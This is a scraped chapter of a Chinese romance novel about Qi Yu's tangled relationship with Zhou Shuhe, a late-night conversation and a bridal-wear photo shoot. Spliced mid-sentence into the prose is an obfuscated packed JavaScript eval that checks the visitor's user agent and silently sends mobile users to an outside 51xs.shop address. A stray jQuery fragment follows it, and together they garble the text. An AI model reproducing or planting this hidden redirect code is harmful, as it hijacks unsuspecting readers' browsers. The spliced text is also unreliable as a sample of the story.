戚钰从冰柜里拿了几瓶酸梅汁,然后哄着白梦瑶喝下去。
许是不想再听她说下去,强逼着她清醒。
可白梦瑶喋喋不休,“周舒禾是个很谨慎保守的人,和你在一起或许是他这辈子最出格的决定,和那些真正的拜金女相比,你是小巫见大巫,当然,问题不在于你,而在于他的家教和……和他的性格”
“好吧,这些都不重要,重要的是,他参加任何场合,都会确定在场人员名单。”白梦瑶欲言又止,还是在这将话打住了。
戚钰笑得勉强,“说不定是他没注意呢。”
谁也不是周舒禾,白梦瑶不喜欢去探究别人想什么,要不是周舒禾自始至终没想瞒着,以她察言观色的能力,也发觉不了。
“你见过这个吗?”白梦瑶掏出手机来,翻了翻相册。
戚钰低头凑了过去。
她把图片划了出来,是一幅效果图。
“周舒禾办过一次人体展览,原官宣的十种元素里,最后呈现出来,只剩下九种。”白梦瑶酒醒得差不多了,说话逻辑清晰,“我知道消失的蝴蝶元素,由你饰演,唯一见过的人,是周舒禾。”
他们在一起两个月后,周舒禾改变主意,不愿意将她的身体展示给众人,所以两人在室内完成了这次展览,拍照留念,照片至今没有流出过,连戚钰自己都没有。
那日光线昏暗,他在她身体上涂抹着荧光的颜料。
“但你看这幅效果图,是几月份的?”
12月。
时间太久,很多细节戚钰都记不真切。
只记得,望港的冬日并不会下雪,却伴有潮湿,褐黄的叶子被雨水拍打成烂泥,她一脚的泥泞,在下课后跟在他的身后,见他穿过车水马龙,侧影逐渐模糊在人群之中。
一条马路,将她与他分割成两个世界。
她总窥伺着他。
却是他先动的心,又或是,见色起意。
从前戚钰喜欢仰望高山,可她没想过高山折腰俯视,是这般滋味。
不是无趣,而是有些支撑着她许多年的东西,在一刹那破碎。
上位者把控一切,从来都不是她赌赢,她也从未获胜过。
大概从一开始,就是周舒禾的一场临时起意罢了。
-
聚会散去后,戚钰回到房间。
她进门后,习惯了反手关门,然而门不仅没关上,还凝固住了。
她转过身,正对上周舒禾黧黑的眼眸,他的身上散发着清淡的香味,发梢领口微湿,睫毛眨动时还会有细小的水珠滴下来。
“我明天很早要赶回村子里拍摄。”
周舒禾“嗯?”了一声,推开门进来了。
“什么时候回去?”
戚钰怔愣,品了品他话中的意味。
“下月中旬之前吧。”她吸了口气,垂下眸,“你小叔去世的事情,快要瞒不住了。”她已经尽量切除和外界的联系,却连财经报上,都能看到。
“为什么不提了?”
戚钰陷入沉默。
“除了我,还有人吗?”
她还是不说话,周舒禾看着他的眼睛,从松弛到凌厉,上扬的唇角凝滞,“戚钰啊戚钰……”他就不该打消那个念头。
“我也不想骗你,周家这块肥羊,谁都垂涎三尺。”她调整好,抬头与他直视,“可我只想要你。”
“我不想和其他人过一辈子,我只想和你在一起,舒禾。”
“实话?”
“诚心话。”
“可我记得上次你和我说过这话不久,就和我提了分手,然后上了我小叔的床。”
他还记得?
戚钰心底流过一阵酸痛,当时的他漫不经心,现在怎么就记得了。
她不知如何解释,或许命运就是这么荒谬,在她说真心话时,事与愿违。
现在她说假话,周舒禾却……信了。
他沐浴过,也洗漱过,吻她时唇上的味道冰凉又苦涩,气息却很灼热。
她尝试着主动,又去揉他的耳垂,勾弄他。
周舒禾忍不住蹙眉,却没有推开她,而是忍受下来,渐渐地,也就接受了她的娴熟。
“我吻技怎么样?”
“你想让我怎么评价?”
“我想你说,很好。”
“宝宝真会吻。”周舒禾嗓音低沉。
他的眉目始终舒展不开,戚钰坐起来,给他按了按,“别生气了。”
周舒禾轻笑,“生气?”
“如果不是生气。”戚钰俯下身,在他耳边道,“这时候你应该已经……”
她唇齿做“一”字形状。
-
她把周舒禾晾在外面,进浴室洗澡。
看向玻璃的那一刻,她还是溃不成军。
她对周舒禾的贪婪,顿时冲淡到烟消云散。
洗完澡出来,她站在镜子面前,发现自己耳洞边缘,有着干涸的血迹。
早在半月前,她时常忘记戴耳钉,耳洞便愈合了,今日早晨她想起来,把耳洞戳了开,里头已经黏合,不仅没戳开,还渗出了丝丝血珠。
要发炎了,又是一段时间的钝痛。
戚钰擦干净颈侧的水珠,周舒禾从她身后抱了上来。
她推开了他。
“我明天,要起很早。”
周舒禾不勉强,转口道,“那就弄给我看。”
戚钰也没说不行,只是躺在床上后,便阖上了眼,她喝了点酒,入睡得更快了。
周舒禾抚摸着她的长睫,如同在逗弄蝴蝶翅膀,“你到底在瞒着我什么?”
“没有。”戚钰睁开眼,“只是单纯,不好看。”
“需要那么好看吗?”
“你知道吗?我爸出轨过一次。”戚钰很久没有眨眼,“被我妈捉奸在床,可对于很多女人来说,他们不在乎自己的男人会不会爱自己,只在乎会不会有一段稳定的婚姻。”
“所以她没打算和我爸离婚,只是……一刀给小三毁了容。”
“然后我爸收心了。”
其实这段话并不适用周舒禾,是她偷换概念,遮掩自己的懦弱而已。
周舒禾从不觉得戚钰值得心疼,因为她太要强,又太会伪装,不知道她小时候是不是也是这样。
“那你呢?那时的你,做了什么。”
“我把我爸出轨这件事情,散布到街坊邻里,他拿皮带抽了我一顿,好疼。”
周舒禾将她拉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13145079|134650||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
进怀里,“以后有事,先保全自身再说。”
“可是舒禾。”戚钰困了,声音也弱下去,“保全自身本就需要代价。”
就如她不能忍受父亲第二次出轨,在出现苗头时,便进行掐断。
再如周修明这棵无法撼动的大树,她保全不了自身。
-
时间紧迫,在村子里赶了三天工,还没歇脚,戚钰就收到惊天噩耗。
他们的模特在搭乘飞机过来的前一天,不小心出了车祸,骨折加上全身性擦伤,别说能不能拍摄,光她出院,都得要个十天半个月。
戚钰紧急和Nancy联系,问有没有能调动的资源。
“时间太紧张了,你明天就要人,这怎么可能,你们当初没有备选吗?问问明天能不能到。”
备选她早就问过,已经去参加别的拍摄。
戚钰把所有人召齐,商量这事怎么办。
夏夏直接提出建议:“要不戚姐你上?反正这项业务你也熟悉。”
夏夏不提倒还好,她一提,戚钰找不出合适的理由拒绝,十有八九会落人口舌。
“衣服尺码我可能不合适。”
“模特身高170,戚姐你多少?”
“168。”
“没差多少,再加上戚姐你骨架小,要不先试试?万一行呢。”
戚钰想想,她将裙子拿进去,出来的时候直接说不合适就好了。
模特拍摄的这一系列是仿照婚纱做的,原本婚纱的样式进行改良后方便轻松不少。
毕竟是欧美品牌,有中规中矩保守的,也有比较开放的。
戚钰挑了件保守的,上楼回自己房间。
这条裙子她比划一下,就知道尺码正合适,只是她看过另外几条,有开背的,也有胸前镂空到腰侧,还有斜开衩的。
她接受了这一条,势必也要接受剩下全部。
这不可能。
她在楼上坐了半刻钟,才拿着衣服,缓缓下楼。
商议的位置直接选在了院子里,周舒禾出门时顺便问了下戚钰在哪儿。
韩延告诉她:“戚姐在楼上试衣服,我们的模特临时来不了了,想看看戚姐能不能顶替一下。”
“不过戚姐试了这么久,看样子尺码是对不上了。”
他们把推衣架都拿了下来,周舒禾看了两眼,便笃定道,“她穿得了。”
韩延不说话了,目光有些晦暗。
夏夏格外激动,“真的?!”
这时候,戚钰抱了衣服下来,长裙在她手臂上搭着,近乎垂地,远远看去,她像是穿着婚纱款款而来。
她走过来后,直接取下衣架,将裙子挂上了,“我穿不了。”
众人看向周舒禾。
“那这件呢?”他抽出其中一件,是条开背的鱼尾裙,背后设计是一串垂落的珍珠,恰好,可以滴落在人肩胛骨的位置。
戚钰低下眸,“应该……也穿不了。”
周舒禾:“既然找不到合适的模特,那就把衣服尺码改了,改动不大的话,比找模特时间要快。”
闻言。
她隔着衣架,与他对视,他的目光落在她的衣领上,带有几分执拗,好似要将她扒掉一层皮。